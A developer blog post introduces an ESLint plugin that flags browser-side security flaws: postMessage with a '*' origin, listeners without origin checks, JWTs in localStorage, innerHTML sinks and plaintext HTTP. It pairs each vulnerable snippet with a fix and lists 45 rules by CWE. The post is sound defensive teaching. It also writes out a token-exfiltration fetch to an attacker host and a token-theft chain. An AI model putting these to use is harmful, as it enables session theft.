DEV Community

Cover image for Your Frontend Stores JWTs in localStorage and Posts to '*'. 45 ESLint Rules Catch What the Backend Audit Misses.
Ofri Peretz
Ofri Peretz

Posted on • Edited on • Originally published at ofriperetz.dev

Your Frontend Stores JWTs in localStorage and Posts to '*'. 45 ESLint Rules Catch What the Backend Audit Misses.

Your backend gets a pentest. Your API has rate limits, parameterized queries,
and a WAF. Then the SPA does this:

localStorage.setItem("token", jwt); // readable by any injected script
el.innerHTML = profile.bio; // stored XSS sink
widget.contentWindow.postMessage({ token }, "*"); // sent to any origin
fetch("http://api.example.com/me"); // plaintext on the wire
Enter fullscreen mode Exit fullscreen mode

None of those throw. None fail a unit test. None show up in a backend audit —
they execute in the browser, on the user's machine, after your server is done.
The type-checker is happy; innerHTML is a string.

The browser is its own security boundary, and the bugs that live there —
DOM XSS, token exfiltration via postMessage, JWT-in-localStorage, mixed
content, permissive CORS — are source patterns. That makes them a linter's
job. eslint-plugin-browser-security is 45 rules for exactly that surface,
every one pinned to a CWE, organized into the categories you actually reason
about (XSS, storage, transport, cookies, CORS/CSRF, postMessage, WebSocket).

This is the getting-started guide: the one attack everyone gets wrong
(postMessage), the full 45-rule map, install/config across package managers,
and the exact ESLint/Oxlint versions it runs under.


TL;DR

  • 45 rules, every one carrying a CWE id and a CVSS score.
  • 8 presets: flagship, recommended (31 rules), strict (all 45), plus five focused starter presets that enable a high-signal subset of one surface for gradual adoption — xss (no-innerhtml + no-eval), storage, postmessage, websocket, cookies.
  • Flat-config, CommonJS package, ESLint 8 || 9 || 10, Node >= 18. No runtime peer deps — it lints source.
  • It catches source patterns, not runtime behavior. It can't see a CSP your server sends at runtime or prove your sanitizer is complete — it's the earliest layer, not the only one.

The one everyone gets wrong: postMessage

window.postMessage is two security decisions, and most code gets both wrong.

Send side — the '*' target origin leaks

// ❌ no-postmessage-wildcard-origin (CWE-346, CVSS 7.5)
widget.contentWindow.postMessage({ authToken }, "*");
Enter fullscreen mode Exit fullscreen mode

The second argument is not decoration — it's a delivery filter. The browser
only hands the message to widget if widget's current origin matches the
target you specify. "*" disables that check: the message is delivered no
matter what origin currently occupies that window. If the iframe has navigated
(an OAuth redirect, an ad, a compromised third-party widget) or an attacker
holds a reference to the window, they receive your token.

// ✅ name the exact origin you intend to talk to
widget.contentWindow.postMessage({ authToken }, "https://widget.example.com");
Enter fullscreen mode Exit fullscreen mode

Receive side — a listener with no origin check trusts anyone

// ❌ require-postmessage-origin-check (CWE-346)
window.addEventListener("message", (event) => {
  applyAuth(event.data.token); // any page that can reach this window can drive it
});
Enter fullscreen mode Exit fullscreen mode

Any page that holds a reference to your window — your opener, a page that
embedded you, a popup you spawned — can postMessage into this listener. With
no event.origin check, attacker-sent data flows straight into your auth state
or DOM.

// ✅ validate the sender's origin first
window.addEventListener("message", (event) => {
  if (event.origin !== "https://widget.example.com") return;
  applyAuth(event.data.token);
});
Enter fullscreen mode Exit fullscreen mode

The concrete chain. You embed a third-party widget and post it the session
token with "*". The widget's CDN is later compromised (or the iframe src
is swapped via a redirect). The attacker's code, now running in that iframe,
receives every message targeted at it — including the token — and fetches it
to their server. No XSS in your origin required; you handed the token across
the boundary yourself. no-postmessage-wildcard-origin and
require-postmessage-origin-check (both CWE-346) make both halves a CI
error.


The second one: JWT in localStorage

// ❌ no-jwt-in-storage (CWE-922)
localStorage.setItem("token", jwt);
Enter fullscreen mode Exit fullscreen mode

localStorage is readable by any JavaScript running on your origin —
including a single injected <script> from any XSS, a compromised npm
dependency, or a malicious browser extension. There is no HttpOnly for
localStorage; exfiltration is one fetch(attacker, {body: localStorage.token}).

// ✅ the rule's fix — store it where script can't read it
// Server sets: Set-Cookie: token=...; HttpOnly; Secure; SameSite=Strict
Enter fullscreen mode Exit fullscreen mode

no-jwt-in-storage, no-sensitive-localstorage, no-sensitive-sessionstorage,
and no-sensitive-indexeddb (all CWE-922) cover the storage surface.


The full rule set

All 45, grouped by category, with each rule's declared CWE:

XSS / DOM injection

Rule CWE
no-innerhtml CWE-79
no-filereader-innerhtml CWE-79
no-postmessage-innerhtml CWE-79
no-websocket-innerhtml CWE-79
no-worker-message-innerhtml CWE-79
no-unescaped-url-parameter CWE-79
no-unsafe-inline-csp CWE-79
no-eval CWE-95
no-websocket-eval CWE-95
no-unsafe-eval-csp CWE-95

Token & data storage

Rule CWE
no-jwt-in-storage CWE-922
no-sensitive-localstorage CWE-922
no-sensitive-sessionstorage CWE-922
no-sensitive-indexeddb CWE-922
no-credentials-in-query-params CWE-798
no-password-in-url CWE-521
no-sensitive-data-in-cache CWE-200

Transport security

Rule CWE
no-http-urls CWE-319
require-https-only CWE-319
no-unencrypted-transmission CWE-319
detect-mixed-content CWE-311
no-disabled-certificate-validation CWE-295
no-allow-arbitrary-loads CWE-295

postMessage

Rule CWE
no-postmessage-wildcard-origin CWE-346
require-postmessage-origin-check CWE-346

WebSocket

Rule CWE
no-insecure-websocket CWE-319
require-websocket-wss CWE-319

Cookies

Rule CWE
no-cookie-auth-tokens CWE-1004
no-sensitive-cookie-js CWE-1004
require-cookie-secure-attrs CWE-614

CORS / CSRF / response headers

Rule CWE
no-permissive-cors CWE-942
no-missing-cors-check CWE-346
no-missing-csrf-protection CWE-352
no-missing-security-headers CWE-693
require-csp-headers CWE-1021
no-clickjacking CWE-1021

Redirects, URLs & misc

Rule CWE
no-insecure-redirects CWE-601
require-url-validation CWE-601
no-unvalidated-deeplinks CWE-939
no-dynamic-service-worker-url CWE-829
require-mime-type-validation CWE-434
require-blob-url-revocation CWE-401
no-client-side-auth-logic CWE-602
no-sensitive-data-in-analytics CWE-359
no-tracking-without-consent CWE-359

That's all 45 (10 + 7 + 6 + 2 + 2 + 3 + 6 + 9). The recommended preset turns
on 31 of them as errors/warnings; strict turns on all 45.


Install

# npm
npm install --save-dev eslint-plugin-browser-security
# yarn
yarn add --dev eslint-plugin-browser-security
# pnpm
pnpm add --save-dev eslint-plugin-browser-security
# bun
bun add --dev eslint-plugin-browser-security
Enter fullscreen mode Exit fullscreen mode

Flat config (eslint.config.js):

// `configs` is a NAMED export; the default export is the plugin object.
import { configs } from "eslint-plugin-browser-security";

export default [
  configs.recommended, // 31 rules — the sane default
  // configs.strict,      // all 45
  // configs.flagship,    // the ecosystem-flagship rule(s) only
  // adopt one surface at a time:
  // configs.xss, configs.storage, configs.postmessage,
  // configs.websocket, configs.cookies,
];
Enter fullscreen mode Exit fullscreen mode

Run it:

npx eslint .
Enter fullscreen mode Exit fullscreen mode

Each finding carries the CWE, OWASP category, CVSS, and the fix:

src/widget.ts
  12:3  error  🔒 CWE-346 OWASP:A01-Broken CVSS:7.5 | postMessage with "*" targetOrigin allows any window to receive the message, potentially leaking sensitive data to malicious sites. | HIGH
               Fix: Specify the exact origin of the target window instead of "*".
Enter fullscreen mode Exit fullscreen mode

Compatibility

Surface Support
Package managers npm, yarn, pnpm, bun — plain dev dependency
Node >= 18.0.0
ESLint `^8.0.0 \
Module system CommonJS — loads from both {% raw %}eslint.config.js and eslint.config.mjs
Runtime peers None — it reads source AST; nothing to install at runtime
Oxlint Loads under Oxlint's JS-plugin runner via the interlace-browser-security port; the flagship rule is wired into the Oxlint config and parity-checked in CI. The full 45-rule set runs on ESLint today.

What it does — and doesn't — see

  • Source patterns, not runtime. It flags innerHTML =, postMessage(…, "*"), http:// literals, localStorage.setItem("token", …). It does not evaluate the CSP your server emits at runtime or prove a sanitizer is complete. The header rules (require-csp-headers, no-missing-security-headers) check that you set a policy in source, not that the policy is airtight.
  • Heuristics have edges. Storage and "sensitive data" rules use name/shape heuristics; tune them to your code rather than assuming the defaults are exhaustive.
  • It's the earliest layer. Pair it with a real CSP, framework escaping (React/Solid/Svelte auto-escape — these rules catch where you opt out via dangerouslySetInnerHTML and friends), and runtime monitoring.

Where this sits in the ecosystem

General linters and React-specific rules (eslint-plugin-no-unsanitized,
react/no-danger) cover slices of this — usually the innerHTML corner.
browser-security is the dedicated, framework-agnostic layer for the whole
browser surface: transport, storage, cookies, CORS/CSRF, postMessage,
WebSocket, service workers — each finding tagged with a CWE and CVSS. It's the
client-side member of the Interlace family,
complementary to the server-side plugins (-express-security,
-nestjs-security, -jwt, …) that guard the other side of the request.


Links

⭐ Star on GitHub if your frontend does any of the above.


I'm Ofri Peretz, a security engineering leader and the author of the
Interlace ESLint ecosystem — domain-specific static analysis for security,
reliability, and performance on the Node.js stack. browser-security is its
client-side layer.

ofriperetz.dev · LinkedIn · GitHub

Top comments (0)